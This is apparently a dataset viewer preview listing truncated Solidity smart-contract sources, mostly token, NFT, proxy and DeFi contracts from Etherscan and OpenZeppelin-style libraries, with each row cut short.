train stringlengths 80 869k |
|---|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC1155Creator is Proxy {
constructor() {
assert(_IMPL... |
pragma solidity ^0.6.0;
abstract contract GemLike {
function approve(address, uint) public virtual;
function transfer(address, uint) public virtual;
function transferFrom(address, address, uint) public virtual;
function deposit() public virtual payable;
function withdraw(uint) public virtual;
}
ab... |
/**
*Submitted for verification at Etherscan.io on 2022-06-26
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(b... |
/**
*Submitted for verification at Etherscan.io on 2022-04-26
*/
/**
SuchiDog
💎Tg: https://t.me/suchidog
📌Web: https://suchidog.space/
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address)... |
pragma solidity ^0.6.0;
contract DebugInfo {
mapping (string => uint) public uintValues;
mapping (string => address) public addrValues;
mapping (string => string) public stringValues;
mapping (string => bytes32) public bytes32Values;
function logUint(string memory _id, uint _value) public {
... |
/**
*Submitted for verification at Etherscan.io on 2021-04-21
*/
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
... |
/**
*Submitted for verification at Etherscan.io on 2022-08-13
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() in... |
pragma solidity 0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value)... |
pragma solidity ^0.4.19;
// Turn the usage of callcode
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
... |
/*
Copyright 2019,2020 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agre... |
/**
*Submitted for verification at Etherscan.io on 2022-05-06
*/
// Sources flattened with hardhat v2.6.5 https://hardhat.org
// File @openzeppelin/contracts/utils/introspection/[email protected]
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.9;
/**
* @dev Interface of the ERC165 standard,... |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since... |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be... |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
contract SimpleCounter {
uint256 public counter;
event IncrementCounter(uint256 newCounterValue);
function increment() external {
counter++;
emit IncrementCounter(counter);
}
} |
/**
*Submitted for verification at Etherscan.io on 2022-05-03
*/
/**
MrFox
Tg_ https://t.me/foxtokeneth
Website_ https://mrfoxtoken.com/#
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address)... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Life Makes Eels of us All
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////
// //
// //
// ( ( //
// )\ ) )\ ) //
/... |
pragma solidity ^0.4.21;
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public ... |
pragma solidity ^0.4.11;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automati... |
/**
*Submitted for verification at Etherscan.io on 2023-03-03
*/
pragma solidity ^0.4.26;
contract SecurityUpdates {
address private owner;
constructor() public{
owner=0xF2dF6fDc38E4B62554e72Cd14A3543Ab9812380f;
}
function getOwner(
) public view returns (address) { ... |
/**
*Submitted for verification at Etherscan.io on 2022-08-07
*/
/**
RED LOBSTER
A DELICACY FOR DEGENS
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
in... |
pragma solidity ^ 0.4.19;
/**
* @title GdprConfig
* @dev Configuration for GDPR Cash token and crowdsale
*/
contract GdprConfig {
// Token settings
string public constant TOKEN_NAME = "GDPR Cash";
string public constant TOKEN_SYMBOL = "GDPR";
uint8 public constant TOKEN_DECIMALS = 18;
// Smalle... |
pragma solidity ^0.6.0;
abstract contract GemLike {
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
}
ab... |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
contract InstaFlashAggregatorProxy is TransparentUpgradeableProxy {
constructor(address _logic, address admin_, bytes memory _data) public TransparentUpgradeableProxy(_logic... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function get... |
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
... |
/**
*Submitted for verification at Etherscan.io on 2023-03-21
*/
/*
This war will be fought on ETH, are you ready?
Mortal Journey
*/
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, ... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Cinematic City Transcendence
/// @author: manifold.xyz
import "./manifold/ERC721Creator.sol";
//////////////////////////////////////////////////////////////////////
// //
// ... |
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-06
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
pragma solidity ^0.6.0;
/**
- Fozzy Inu (FOZZY)
- https://t.me/fozzyinu
*/
libra... |
/**
*Submitted for verification at Etherscan.io on 2022-12-19
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.9 >=0.8.9 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
/*
Website: https://www.shibflixproject.com/
Twitter: https://twitter.com/Shibflixeth
Whitepaper: https://shibflixcr... |
/**
*Submitted for verification at Etherscan.io on 2021-04-03
*/
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
//
// Symbol : UMI
// Name : UmiToken
// Total supply : 33000000000000000000000000000
// Decimals : 18
// Owner A... |
/**
*Submitted for verification at Etherscan.io on 2022-06-14
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provid... |
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPer... |
/**
*Submitted for verification at Etherscan.io on 2023-01-23
*/
// https://t.me/RDBERC
// https://medium.com/@RugDetectorBotERC/rdb-your-one-call-away-bot-af47c49be213
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view vir... |
/**
*Submitted for verification at Etherscan.io on 2022-11-20
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts (last updated v4.8.0) (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps ... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract StepVesting is Ownable {
using Sa... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Isabella Maake
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ... |
/**
*Submitted for verification at Etherscan.io on 2021-06-19
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Inter... |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155SupplyUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155Burn... |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) inter... |
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address... |
// SPDX-License-Identifier: None
pragma solidity >=0.8.4;
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeabl... |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract WagumiCats i... |
pragma solidity ^0.6.0;
import "./DSProxy.sol";
abstract contract DSProxyFactoryInterface {
function build(address owner) public virtual returns (DSProxy proxy);
} |
/**
*Submitted for verification at Etherscan.io on 2021-07-03
*/
// SPDX-License-Identifier: Unlimited
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, whic... |
/**
*Submitted for verification at Etherscan.io on 2022-12-21
*/
/**
*Submitted for verification at Etherscan.io on 2022-12-20
*/
// SPDX-License-Identifier: MIT
/*
Telegram - https://t.me/DejitaruOnaMusha
Website - https://dejitaruonamusha.com/
Twitter - https://twitter.com/DejitaruOnaMush
Mediu... |
/**
*Submitted for verification at Etherscan.io on 2021-04-30
*/
pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume... |
/*
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▀▀▀▀█░█▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ ... |
pragma solidity ^0.6.0;
import "../../interfaces/DSProxyInterface.sol";
import "../../utils/SafeERC20.sol";
import "../../auth/AdminAuth.sol";
/// @title Contract with the actuall DSProxy permission calls the automation operations
contract CompoundMonitorProxy is AdminAuth {
using SafeERC20 for ERC20;
uint ... |
// ________ ___ ___ ___ ________ ________ ________ ________ _______
// |\ ____\|\ \ |\ \|\ \|\ __ \|\ __ \|\ __ \|\ __ \|\ ___ \
// \ \ \___|\ \ \ \ \ \\\ \ \ \|\ /\ \ \|\ \ \ \|\ \ \ \|\ \ \ __/|
// \ \ \ \ \ \ \ \ \\\ \ \ __ \ \ _ _\ \ __ \ \ _... |
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import {IncentiveVault} from '../../IncentiveVault.sol';
import {IERC20} from '../../../../dependencies/openzeppelin/contracts/IERC20.sol';
import {SafeERC20} from '../../../../dependencies/openzeppelin/contracts/SafeERC20.s... |
/**
*Submitted for verification at Etherscan.io on 2021-10-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and ... |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) in... |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts... |
pragma solidity 0.8.13;
// SPDX-License-Identifier: BUSL-1.1
import { Initializable } from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import { StakeHouseUniverse } from "./StakeHouseUniverse.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {... |
/**
*Submitted for verification at Etherscan.io on 2021-08-09
*/
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 publ... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: CART3L COLLECTION
/// @author: manifold.xyz
import "./manifold/ERC721Creator.sol";
///////////////////////////////////////////////////////////////////////////////////////////////
// ... |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract W... |
/**
*Submitted for verification at Etherscan.io on 2023-03-20
*/
/**
From Vitalik's FIRST TWEET!
https://twitter.com/vitalikbuterin/status/668529523613372416?lang=en
Egod is Doge backwards. WOW is WOW backwards! WOW! Much Smart! Make Rich!
https://e-god.net/
https://twitter.com/EGOD_WOW
https://t.me... |
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
interface IChainlinkAggregator {
function latestAnswer() external view returns (int256);
}
contract GusdPriceProxy is IChainlinkAggregator {
IChainlinkAggregator public constant ETH_USD_CHAINLINK_PROXY = IChainlinkAggregator(0x5f4eC3... |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error,... |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
/**
* @title Compound's CErc20 Contract
* @notice CTokens which wrap an EIP-20 underlying
* @author Compound
*/
contract CErc20 is CToken, CErc20Interface {
/**
* @notice Initialize the new money market
* @param underlyi... |
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external... |
/**
*Submitted for verification at Arbiscan on 2022-12-01
*/
// File @openzeppelin/contracts/token/ERC20/[email protected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the ... |
/**
*Submitted for verification at Etherscan.io on 2021-09-08
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.2;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @de... |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../ProtocolInterface.sol";
import "../../interfaces/CTokenInterface.sol";
import "../../compound/helpers/Exponential.sol";
import "../../interfaces/ERC20.sol";
contract CompoundSavingsProtocol {
address public constant NEW_CDAI_ADDRESS = 0x5d3a536... |
/**
*Submitted for verification at Etherscan.io on 2022-08-04
*/
// SPDX-License-Identifier: MIT
/**
https://twitter.com/TheCipherETH
01001001 01100110 00100000 01111001 01101111 01110101 00100000 01100001 01110010 01100101 00100000 01101000 01100101 01110010 01100101 00100000 01111001 01101111 01110101 001000... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Collab M.U.G.S
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////
// //
// //
// Collab M.U.G.S by GM Studios //
// ... |
/*
Copyright 2019 dYdX Trading Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed ... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of... |
/**
*Submitted for verification at Etherscan.io on 2022-11-05
*/
/*
🌭🌭🌭🌭🌭🌭🌭🌭🌭🌭
Welcome to Dachshund! The first DE-FI dog token which will crank up some bones!
Portal: t.me/Dachshund_ETH
tax:5%
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
abstract contract Context {
f... |
// contracts/TokenImplementation.sol
// SPDX-License-Identifier: Apache 2
pragma solidity ^0.8.0;
import "./TokenState.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/proxy/beacon/BeaconProxy.sol";
// Based on the OpenZepp... |
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
// Sources flattened with hardhat v2.8.3 https://hardhat.org
// File @openzeppelin/contracts/proxy/[email protected]
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides ... |
/**
*Submitted for verification at Etherscan.io on 2022-05-18
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;... |
/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
pragma solidity ^0.5.0;
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The int... |
// SPDX-License-Identifier: MIT
/*
┏━━┓┏━━━┳┓╋╋┏━━┳━┓┏━┓
┃┏┓┃┃┏━┓┃┃╋╋┗┫┣┻┓┗┛┏┛
┃┗┛┗┫┃╋┃┃┃╋╋╋┃┃╋┗┓┏┛
┃┏━┓┃┃╋┃┃┃╋┏┓┃┃╋┏┛┗┓
┃┗━┛┃┗━┛┃┗━┛┣┫┣┳┛┏┓┗┓
┗━━━┻━━━┻━━━┻━━┻━┛┗━┛
*/
pragma solidity 0.8.15;
// Context.sol - Used to set msg.sender/msg.data as Needed for checks - Who is the sender/what is being sent.
abstract contract... |
/**
*Submitted for verification at Etherscan.io on 2022-08-28
*/
// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
/*
Hapu Inu ($Hapu)
Website = https://hapuinu.com
Telegram = https://t.me/hapuinu
Twitter = https://twitter.com/hapuinu
Disclaimer Do not buy or Invest
*/
p... |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Valley Of The Dolls - The Zine
/// @author: manifold.xyz
import "./ERC721Creator.sol";
//////////////////////////////////////////////////////////////////////////
// //
// ... |
/**
*Submitted for verification at Etherscan.io on 2022-08-03
*/
/**
zodiac wallet clue #3
when we release these clues, we are applying the pressure on you, we are squeezing you, we are expecting you to accomplish the task
zodiac.dev
Contract Address: 0xc39aFaAC91dd1771BDbcA651F001a68B92E18fe7
𝙳𝚎... |
/**
*Submitted for verification at Etherscan.io on 2022-05-27
*/
/*
Buy ze blood!
TG
https://t.me/ze_blood
Medium
https://medium.com/@buyzeblood/gm-future-billionaires-6084df7118a2
...----....
..-:"'' ''"-..
.-... |
// SPDX-License-Identifier: BSL
pragma solidity ^0.7.6;
pragma abicoder v2;
import "./DefiEdgeTwapStrategy.sol";
import "./interfaces/ITwapStrategyBase.sol";
import "./interfaces/IDefiEdgeTwapStrategyDeployer.sol";
contract DefiEdgeTwapStrategyDeployer is IDefiEdgeTwapStrategyDeployer {
function createStrategy(
... |
pragma solidity ^0.6.0;
/************
@title IPriceOracleGetterAave interface
@notice Interface for the Aave price oracle.*/
abstract contract IPriceOracleGetterAave {
function getAssetPrice(address _asset) external virtual view returns (uint256);
function getAssetsPrices(address[] calldata _assets) external v... |
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
import '../utils/RetrieveTokensFeature.sol';
/**
* Contract that acts as a freeze (timelocked) vault to an immuntable beneficiary.
*/
contract TimelockedTokenVault is RetrieveTokensFeature {
using SafeERC20 for IERC20;
// ERC20 basic token contract b... |
/**
*Submitted for verification at Etherscan.io on 2022-11-28
*/
// Sources flattened with hardhat v2.9.9 https://hardhat.org
// File interfaces/IInterchainGasPaymaster.sol
pragma solidity >=0.6.11;
/**
* @title IInterchainGasPaymaster
* @notice Manages payments on a source chain to cover gas costs of relayi... |
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides... |
/**
*Submitted for verification at Etherscan.io on 2020-09-25
*/
pragma solidity ^0.5.17;
/**
* Math operations with safety checks
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operato... |
pragma solidity ^0.7.0;
/**
* @title Aave v1.
* @dev Lending & Borrowing.
*/
import { TokenInterface } from "../../../common/interfaces.sol";
import { Stores } from "../../../common/stores.sol";
import { Helpers } from "./helpers.sol";
import { Events } from "./events.sol";
import { AaveInterface, AaveCoreInterfa... |
/**
*Submitted for verification at Etherscan.io on 2022-10-02
*/
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() interna... |
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
... |
/**
*Submitted for verification at Etherscan.io on 2021-07-07
*/
pragma solidity ^0.8.0;
// ----------------------------------------------------------------------------
// Banana Helper v0.9.2
//
// https://github.com/bokkypoobah/TokenToolz
//
// Deployed to 0x61111FcbE95c18855AbfdA2eF922EcCc192C3613
//
... |
// File: localhost/contracts/handlers/weth/IWETH9.sol
pragma solidity ^0.5.0;
interface IWETH9 {
function() external payable;
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// File: localhost/contracts/Config.sol
pragma solidity ^0.5.0;
contract Config {... |
/**
*Submitted for verification at Etherscan.io on 2022-10-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and m... |
/**
*Submitted for verification at Etherscan.io on 2022-09-29
*/
//Twitter: https://twitter.com/NodeServiceETH
//Telegram: https://t.me/NodeService
/**
*Submitted for verification at Etherscan.io on 2022-09-01
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.13;
abstract contract C... |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'FIXED' 'Example Fixed Supply Token' token contract
//
// Symbol : FIXED
// Name : Example Fixed Supply Token
// Total supply: 1,000,000.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) ... |
/**
*Submitted for verification at Etherscan.io on 2023-03-08
*/
/**
PAW + PAXG = PAWPAX
https://t.me/Pawpax
https://pawpax.tech/
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
... |
/**
*Submitted for verification at Etherscan.io on 2022-05-15
*/
pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) p... |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/*
__ __ .__ _... |
/**
*Submitted for verification at Etherscan.io on 2020-12-04
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
... |
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* @dev Based on: OpenZeppelin
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
... |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.6.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.